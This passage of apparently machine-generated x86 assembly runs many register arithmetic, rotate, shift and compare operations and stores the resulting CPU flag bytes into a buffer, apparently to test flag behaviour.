mov byte [edi], cl
inc edi
mov ebx, 0xaa21f9c0
add ebx, 0xae460164
mov eax, 0xcda38fb1
aas
mov ecx, 0x7c5960a3
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x41cdde03
mov ecx, 0xcb64b44c
rol ebx, cl
mov edx, 0xdd85d2d3
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x257e4287
rol ebx, 1
mov edx, 0x66187798
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x2973a8b9
mov ecx, 0x91e264ac
rol ebx, cl
mov edx, 0x7b3ac88a
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x5563b83f
inc ecx
mov eax, 0xa9428722
mov ecx, 0x38dcb36
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x17451fe5
mov ecx, 0x2bbcd513
rol eax, cl
mov ebx, 0x31a78127
rol ebx, 1
mov edx, 0x9c2501d3
mov ecx, 0x381c3207
sar edx, cl
mov ecx, 0x691199ff
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xe437d3a2
mov ebx, 0x1da4376e
sub edx, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x499c1230
dec ecx
mov edx, 0x8e5d7676
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2c1571b2
mov ecx, 0x51ccc767
rol edx, cl
mov ecx, 0x74915596
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xc493d2af
dec ecx
mov edx, 0xe2da0c46
mov ecx, 0x44858237
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb68a330d
mov ecx, 0x58f5ed2b
rol eax, cl
mov edx, 0xe5d78e0f
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x62cb730e
sar eax, 0x87
mov eax, 0x30fdc624
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x2ff04024
inc ebx
mov ebx, 0xf1dd3cb1
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x4cb0d103
aas
mov ebx, 0x7274d0bf
sub ebx, 0x439d301b
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x5337f0ee
mov edx, 0x60a4865e
cmp ecx, edx
mov ebx, 0x2e32e5f0
dec ebx
mov edx, 0x92cf167
mov ecx, 0xa8df5855
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x32a98aa4
rol ebx, 1
mov ebx, 0x313a4453
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1c90c90c
sar eax, 0x87
mov eax, 0x3c545b09
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xc1ec955f
mov ecx, 0xcc9f5dce
ror ebx, cl
mov ebx, 0xef16c1f9
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x67feaef
inc edx
mov ebx, 0x46779939
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xab5a67c4
add edx, 0x918b7c8e
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xd50d3cab
mov ecx, 0xa3a4b53a
rol edx, cl
mov ebx, 0xc33c1ecc
mov ecx, 0xc12ff8d4
rol ebx, cl
mov eax, 0x8ec322fb
mov edx, 0x6340786d
cmp eax, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xaaa3341f
inc ebx
mov ebx, 0x7a1534fd
mov ecx, 0x17cc52b7
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6dce8e2b
shl edx, 1
mov ebx, 0x91bf072b
rol ebx, 1
mov ebx, 0x45241fa1
mov ecx, 0xf9b7f093
rol ebx, cl
mov eax, 0xc32d91f7
mov ecx, 0xf644e4e6
ror eax, cl
mov ecx, 0xa9d3ec85
add ecx, 0xc9105ad9
mov eax, 0x425424c7
mov ecx, 0xeda76fab
ror eax, cl
mov ecx, 0xf7b5ec63
mov eax, 0xce4aa707
sub ecx, eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xb2524d30
mov ebx, 0x1923717d
cmp edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x37d63ec8
sal ebx, 1
mov edx, 0x25b03bbf
inc edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x94ba4819
neg ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xf4f5632f
sub eax, 0x228a828c
mov edx, 0xdf29a1d
mov ecx, 0x4cfd859d
ror edx, cl
mov ebx, 0xd7a26730
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xc9e4616
sub edx, 0xb37f6f6f
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x5329ea7f
shl ebx, 1
mov ecx, 0x4dc8259d
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x1bf59fa7
add ecx, 0xbd8ab929
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x6373b758
mov ecx, 0x73e23dbc
ror edx, cl
mov edx, 0x9d3ab374
mov ecx, 0xec6560b7
rol edx, cl
mov ecx, 0xe24c1a0
neg ecx
mov eax, 0x9753ff24
aaa
mov ebx, 0xfdbc8024
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x4ba71996
mov ecx, 0xcc66f9e4
ror eax, cl
mov eax, 0x6c977753
rol eax, 1
mov ecx, 0x76ee87c6
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xf3117eb1
sal ebx, 1
mov ecx, 0x44ee93c
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xec5f6b4d
sub ecx, 0xc6ac5eac
lahf
mov byte [edi], ah
inc edi
mov eax, 0x63272102
mov ecx, 0x91e61c9c
ror eax, cl
mov eax, 0x4da53c0
dec eax
mov eax, 0x1c00823d
mov ecx, 0xb283b347
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x1b9aaaf3
inc ebx
mov edx, 0x57669cd7
mov ecx, 0xc3c1875d
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x5b97ca9c
mov ecx, 0x6616065a
rol eax, cl
mov ebx, 0x268f4969
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe3520c29
mov ecx, 0x9bddbeec
sar eax, cl
mov eax, 0xfeb04886
mov ecx, 0xb1f332b5
ror eax, cl
mov ebx, 0xee0c7387
mov ecx, 0x3355c4b0
add ebx, ecx
mov eax, 0xed371efe
aaa
mov ecx, 0xbd1550f3
sub ecx, 0x182a4ea2
mov eax, 0x79cdc45f
aas
mov eax, 0x1585317f
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x2dfc4b4
mov ebx, 0x5b2c70ff
add ecx, ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x1d4860d8
add ecx, 0x97e102a0
mov eax, 0xf92e827
aaa
mov ebx, 0x8142690e
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe2668dd5
shl eax, 1
mov ecx, 0xe077e2c7
neg ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x49058841
cmp edx, 0xcd5aa6e9
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xadb207d4
mov ecx, 0x93bd5074
rol edx, cl
mov eax, 0x410af380
sal eax, 1
mov edx, 0x13470d00
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x50e603e
mov ecx, 0x9b2f56c6
cmp edx, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4fd4076e
mov ecx, 0xc127f678
rol edx, cl
mov ebx, 0xae1f0a9a
mov ecx, 0xcdbecfbb
ror ebx, cl
mov ebx, 0x42174a7e
mov ecx, 0xd6966b91
sal ebx, cl
mov edx, 0x57f6fe60
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x6fce5d86
mov ecx, 0xdcc99b01
rol edx, cl
mov ecx, 0x48f469e9
add ecx, 0x981d8d46
mov eax, 0x19ea3e2c
aas
mov ebx, 0x4768999f
inc ebx
mov eax, 0xe8b264af
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x5a983be7
rol eax, 1
mov edx, 0x67c38b2f
sal edx, 1
mov eax, 0x95da04fe
mov ebx, 0x6a0bf2aa
add eax, ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x77422f81
mov ecx, 0x498d1db7
rol edx, cl
mov edx, 0xac9a05aa
shl edx, 1
mov edx, 0x449f070f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x4716cf24
mov ecx, 0xe431d5ee
rol ebx, cl
mov eax, 0xbaf0c978
mov ecx, 0xb7338423
rol eax, cl
mov ebx, 0xd3230548
mov ecx, 0xc020a068
cmp ebx, ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8ae4081f
mov ecx, 0xbe777c2c
rol ebx, cl
mov ebx, 0x56f6e87
dec ebx
mov edx, 0x1e814eb0
rol edx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xce804db6
mov ecx, 0x9f03afa6
ror ebx, cl
mov eax, 0x1b3650a3
mov ecx, 0x3a37c981
add eax, ecx
mov eax, 0x71d256b2
mov ecx, 0x545d7c1c
ror eax, cl
mov edx, 0xb215818a
rol edx, 1
mov ebx, 0xedf63401
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xcac918cb
mov ecx, 0x2ad04146
ror eax, cl
mov eax, 0xa90b11fd
mov ecx, 0x70da52ab
rol eax, cl
mov edx, 0xb1026aff
mov ecx, 0x524db147
shl edx, cl
mov edx, 0x7e051779
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x62674c6a
aas
mov eax, 0x2fc24fcf
dec eax
mov ebx, 0x860e6664
mov ecx, 0x64098d4d
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x95cd4b2d
mov edx, 0x6e82cf9b
cmp ecx, edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x56e8c1d4
sal ebx, 1
mov edx, 0x4a18e93f
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x9d7330e7
mov ecx, 0x55e2977c
rol eax, cl
mov edx, 0x566521bd
dec edx
mov edx, 0xc96372f2
mov ecx, 0xfb92c7a9
ror edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x92b4fe9e
shl ebx, 0xc6
mov edx, 0x2bd9d1ea
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x64e6413
mov ecx, 0xa36f1659
cmp eax, ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x7b142de1
mov ecx, 0x91679bdc
rol edx, cl
mov edx, 0x1975978c
mov ecx, 0x18ac8da9
ror edx, cl
mov edx, 0xbdb085ee
mov ecx, 0xcf3aff9
ror edx, cl
mov eax, 0x18e396ff
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xe3a5ad1b
rol edx, 1
mov ebx, 0x3556a244
rol ebx, 1
mov ebx, 0x37307c7f
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xbc481f06
neg eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x68639bc2
mov ecx, 0xb6925f88
rol edx, cl
mov edx, 0x85eaded0
rol edx, 1
mov ecx, 0x56b5291f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xa76d9bf0
mov ecx, 0xc384bfdf
rol eax, cl
mov eax, 0x30e5b408
mov ecx, 0x27dcc412
sar eax, cl
mov eax, 0x4d96a7f8
rol eax, 1
mov ebx, 0x57e74a5c
mov ecx, 0x61a65f86
rol ebx, cl
mov eax, 0x3a71b59f
inc eax
mov edx, 0x3bcfade2
mov ecx, 0x442eee37
rol edx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x7b1d0c86
neg ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x318c2339
inc edx
mov ebx, 0xe1b66ce6
mov ecx, 0xc5513546
ror ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xd1a855e8
sal edx, 1
mov ebx, 0x605424cd
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x403133cd
cmp edx, 0x7316aed9
mov eax, 0xaaa27971
aas
mov edx, 0x86f0c2a4
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xa3b0f732
mov ecx, 0xcaf3e9e4
shl ebx, cl
mov ebx, 0x176cd192
mov ecx, 0x81f1ba7
ror ebx, cl
mov eax, 0xdf828f30
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xdcdae656
mov ecx, 0xe685df02
rol edx, cl
mov eax, 0x2d3216e4
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x7af54d23
mov ecx, 0x102c9e63
rol eax, cl
mov edx, 0xf7d771f6
mov ecx, 0xcb56a4c8
rol edx, cl
mov ebx, 0x5af4aafa
inc ebx
mov edx, 0x45bf5192
mov ecx, 0x7fde6a3a
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xacb658b0
mov ecx, 0xdc512c3c
rol eax, cl
mov edx, 0x3f2007bb
mov ecx, 0xee234a69
ror edx, cl
mov edx, 0xff76ccbc
mov ecx, 0xc21191cf
ror edx, cl
mov ecx, 0x1a053837
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x1e67a4db
dec ecx
mov ebx, 0x735f74c3
mov ecx, 0x5ffe2a23
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9ecc045f
shl eax, 0x62
mov edx, 0x59032ec7
mov ecx, 0x85b28cfe
sar edx, cl
mov ebx, 0x1e2de81f
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x1255d992
dec ecx
mov ebx, 0x4da41d12
mov ecx, 0xd437d579
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x38cd9615
inc ecx
mov edx, 0x6efba3d
mov ecx, 0xc7ceb09f
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xef3d1732
cmp eax, 0xa332ebc2
mov ebx, 0xc6c0d360
mov ecx, 0x504358d8
sal ebx, cl
mov eax, 0x29697d9b
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x3d0826df
mov ecx, 0x12abca59
rol edx, cl
mov eax, 0xa5206df6
mov ecx, 0x2c23dc7b
ror eax, cl
mov ebx, 0xef95d900
neg ebx
mov eax, 0x5fe49a38
aaa
mov ecx, 0x9650430d
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xa0448909
mov ecx, 0x4d57ec86
sal edx, cl
mov eax, 0x6f727578
mov ecx, 0x447d68ab
rol eax, cl
mov eax, 0x5d92f6d6
rol eax, 1
mov eax, 0xbd8c71e4
rol eax, 1
mov eax, 0x6076d72b
mov ecx, 0x7111b67
sal eax, cl
mov edx, 0x950f080
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x818bd1c2
mov ecx, 0x5b5a2292
ror ebx, cl
mov ebx, 0x2399f229
sub ebx, 0xf65e05b2
mov edx, 0x857a60fa
inc edx
mov eax, 0x8c5ddd1a
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xedf7d7fa
mov edx, 0xc4642e62
sub eax, edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xa10b2d87
shl ebx, 1
mov ebx, 0x2683bc61
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x54eca64c
sub eax, 0x40b5aae8
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xd16d5cac
mov ecx, 0x5584deaa
ror edx, cl
mov ecx, 0x4c61e6f
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x3d958fc8
dec ebx
mov edx, 0x221370ec
rol edx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x365a9145
inc ebx
mov eax, 0x90147741
mov ecx, 0xda67ef0b
rol eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xaf5fc4cf
mov ecx, 0xbfe560b
ror edx, cl
mov ecx, 0x1898dc39
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x62b0101e
shl eax, 1
mov edx, 0x9ae51159
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x7557840
mov ecx, 0x920c86e2
rol edx, cl
mov eax, 0x3e365a71
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x70d4ac8f
shl ebx, 1
mov ebx, 0x197914e8
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xf964fcc
sal edx, 1
mov edx, 0x7db3f502
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x762105eb
mov ecx, 0x8c8883a6
rol ebx, cl
mov ebx, 0x64a02368
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x10f6ca2b
mov ecx, 0x29913dcd
sar edx, cl
mov edx, 0x35d05e2e
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8f8d1ca8
mov ecx, 0xb824d9a3
shl eax, cl
mov ecx, 0x799b4a32
mov eax, 0x3138616d
add ecx, eax
mov ecx, 0x1ba51a2b
mov edx, 0x3b7a8d65
cmp ecx, edx
mov edx, 0x5b71ef21
rol edx, 1
mov edx, 0x5448b041
add edx, 0x2e16b2f
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x1dee0a3
dec ecx
mov edx, 0x5dea0e59
mov ecx, 0x81d51909
ror edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x168d9f51
mov ecx, 0xfb24a90d
rol ebx, cl
mov ebx, 0x8a4573ef
mov ecx, 0x8abcafc3
rol ebx, cl
mov eax, 0x2bf9f832
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x200a4e2b
cmp edx, 0xe07bbddb
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xa6623037
dec ebx
mov ebx, 0x3fdc5403
mov ecx, 0xcc4fcb5a
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd4362294
add ebx, 0xff37e9ca
mov eax, 0x57d32ec6
aaa
mov ebx, 0x9e2f9014
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x2c405af9
sub ecx, 0x87792113
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x43588808
dec ecx
mov ebx, 0x62edeceb
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x8d646530
neg eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x91efc82b
rol edx, 1
mov ecx, 0x8383affd
cmp ecx, 0x19002755
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x81894dd
mov ecx, 0xdffbc771
ror ebx, cl
mov eax, 0x53730596
rol eax, 1
mov ecx, 0x3063530
dec ecx
mov edx, 0x64191bd6
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x25c6c3a3
rol ebx, 1
mov edx, 0x242025cd
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xeb052e68
mov edx, 0xc75ac525
cmp ebx, edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8860b57
sub ebx, 0xa547f64b
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3b0c3037
mov ecx, 0xf63f8921
shl eax, cl
mov ebx, 0xa7bee980
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xe3df6099
sal edx, 0x83
mov eax, 0x4b6a4af
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x5845f588
inc eax
mov edx, 0x7b544c3e
mov ecx, 0x6aa7a408
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x168f5dc6
mov ecx, 0xd1ee11aa
rol ebx, cl
mov eax, 0xbc8bb5c0
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xb7fe7ab2
inc ebx
mov edx, 0xc8d684b3
rol edx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x5c619de7
sal edx, 1
mov ebx, 0xef8f3cd
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x6f5d4b77
sub eax, 0xf0d244b6
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x73b87826
mov ecx, 0x361b5fd5
ror edx, cl
mov eax, 0x4d936c0a
mov ecx, 0x3282caf9
ror eax, cl
mov ebx, 0x40329ae7
mov ecx, 0xe03d41c3
sal ebx, cl
mov ecx, 0x2e18a3a6
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x3beb5330
dec ecx
mov edx, 0x411d3f5a
rol edx, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xf8cc88e
mov ecx, 0x4cbfe8f5
rol edx, cl
mov edx, 0xfe90e8ab
mov eax, 0x7389ec2b
cmp edx, eax
mov eax, 0xfa8d059
aas
mov edx, 0x7e546903
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x169f7118
inc eax
mov edx, 0x26316fe1
mov ecx, 0xb2d8f5c3
ror edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x79fabddb
mov ebx, 0x4bab86f9
add ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x507fa8a5
inc eax
mov eax, 0x759b0148
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbb50ed4a
mov ecx, 0xfd13f1b5
ror eax, cl
mov edx, 0x7d5ade37
rol edx, 1
mov ebx, 0x2829d890
sub ebx, 0xc7ae9a53
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xb3611d13
aas
mov edx, 0x8ce3d69a
mov ecx, 0x9d1260d0
ror edx, cl
mov edx, 0xbc6a275e
mov ecx, 0x4a553067
rol edx, cl
mov edx, 0x6f0dea8f
inc edx
mov ebx, 0x141a35d7
rol ebx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x292100dc
mov ecx, 0xc146a2cb
cmp eax, ecx
mov eax, 0x54a3f599
aas
mov ebx, 0xdb59e1cf
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x7f6c0ad
mov ecx, 0x9c914bd0
ror edx, cl
mov edx, 0x20cf859f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x259f1a86
mov edx, 0xa6eca28e
sub ecx, edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x54a10310
dec ebx
mov eax, 0x99ddce3c
mov ecx, 0x39b4a253
rol eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xd5b9ca5b
add edx, 0x8dfe6a4e
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x7c7df74d
rol edx, 1
mov eax, 0x586ca76e
mov ecx, 0xad1fa437
rol eax, cl
mov ebx, 0x49042a99
shl ebx, 1
mov eax, 0xfe2a863f
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xa301c94f
sal eax, 1
mov eax, 0x60ad72e0
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x4019b1d7
shl eax, 1
mov eax, 0x65b66374
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x61892d9b
rol edx, 1
mov ebx, 0xf7a728cd
cmp ebx, 0x84541351
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xeaf0eea7
sub ebx, 0x58696cb4
mov eax, 0x122536b1
aas
mov eax, 0xbcb4e1ad
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xee4caf47
sar ebx, 0x84
mov eax, 0x3b4df730
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x827c9bc9
mov ecx, 0xf56f015b
ror edx, cl
mov ebx, 0x2367b697
mov ecx, 0x2b261b07
rol ebx, cl
mov edx, 0x13128946
mov eax, 0xcae31e91
cmp edx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x47f83653
inc ebx
mov eax, 0xca1ac7be
mov ecx, 0x40c5270d
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x82723d34
rol edx, 1
mov edx, 0x20da1dd9
mov ecx, 0xba857dd3
rol edx, cl
mov ebx, 0x62239261
sal ebx, 1
mov ecx, 0x36b13cfb
mov ebx, 0x6796bf86
cmp ecx, ebx
mov ebx, 0x75f58bf0
sal ebx, 1
mov ebx, 0x7515690
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x1fafc27a
dec eax
mov eax, 0x7cbc653
rol eax, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x494dc88b
rol ebx, 1
mov edx, 0xc87c1e1a
mov ecx, 0x55058665
cmp edx, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x64800318
mov ecx, 0xcd0339d8
rol edx, cl
mov edx, 0xf7780726
mov ecx, 0x70dbf9ba
sar edx, cl
mov eax, 0x9842883f
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xed9a91eb
rol ebx, 1
mov eax, 0xe3f9e94f
sar eax, 0x33
mov edx, 0x19319cf5
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x6abdcc6
rol ebx, 1
mov eax, 0x974c0b27
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x1976b95c
inc eax
mov eax, 0xfa507cc2
mov ecx, 0xd81374fb
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x80f8eb65
rol ebx, 1
mov ebx, 0x5b1a6e54
sub ebx, 0xe64bbdc8
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x14becf15
mov ecx, 0x3f79ab21
ror ebx, cl
mov ecx, 0x662bd2df
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x52d2fb11
mov ecx, 0x195d0716
rol eax, cl
mov ebx, 0x2ce8cfd5
cmp ebx, 0xff0114e2
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xc3f58e22
cmp ecx, 0x458ae100
mov eax, 0xa5c4339c
aas
mov ecx, 0x5a3014a0
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x253a61fd
aaa
mov ebx, 0xc5c740ee
rol ebx, 1
mov ecx, 0x14c1beb0
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0xb03140c6
sub ecx, 0x2316d52e
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x7eee8c9e
mov ecx, 0x3469f382
ror eax, cl
mov edx, 0xaa7fef92
mov ecx, 0x7a4cce9f
add edx, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6d509a45
inc edx
mov eax, 0xe7c761c
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb037fb9
rol edx, 1
mov ecx, 0x3455a8df
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x990de8da
mov ecx, 0xf7a43599
rol ebx, cl
mov ebx, 0x351ed212
mov ecx, 0x2559db17
ror ebx, cl
mov ebx, 0x852af4a8
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x16c9ba3f
rol eax, 1
mov edx, 0x76e71bf7
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xd6fb525a
cmp ebx, 0x3318bf50
mov eax, 0xbf2a607
inc eax
mov eax, 0xb7d8cd7a
mov ecx, 0x76bb5fbd
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x751c20aa
inc edx
mov ebx, 0x4bb43c46
rol ebx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x5d4cb483
rol eax, 1
mov edx, 0x7a5a66cf
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x1fb913c4
sub eax, 0xffeae42
mov eax, 0xd67b60a5
aaa
mov edx, 0x7462c6eb
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9ddc0be8
aas
mov eax, 0x3aa45232
sal eax, 0xa1
mov eax, 0x644bb87d
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x71fcf6c
mov ecx, 0xeabef406
sar eax, cl
mov eax, 0xbd85c780
rol eax, 1
mov ebx, 0x55e59071
sal ebx, 0x84
mov eax, 0x29b16869
mov ecx, 0x94586623
rol eax, cl
mov ecx, 0x1eb81380
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x401dc4e9
sar ebx, 0x4d
mov edx, 0xc033a50b
mov ecx, 0x4ba23264
rol edx, cl
mov edx, 0x815f9dc2
mov ecx, 0xe5fe969d
rol edx, cl
mov ebx, 0xe3dc068c
mov edx, 0x3ce5cf92
sub ebx, edx
mov ebx, 0xa63d2d2c
sal ebx, 0xc4
mov edx, 0x70de578f
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x6ab7c40c
inc ebx
mov ebx, 0x81cb7e84
mov ecx, 0x349a0f97
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x5f43ba81
mov ecx, 0xbcf2755f
rol edx, cl
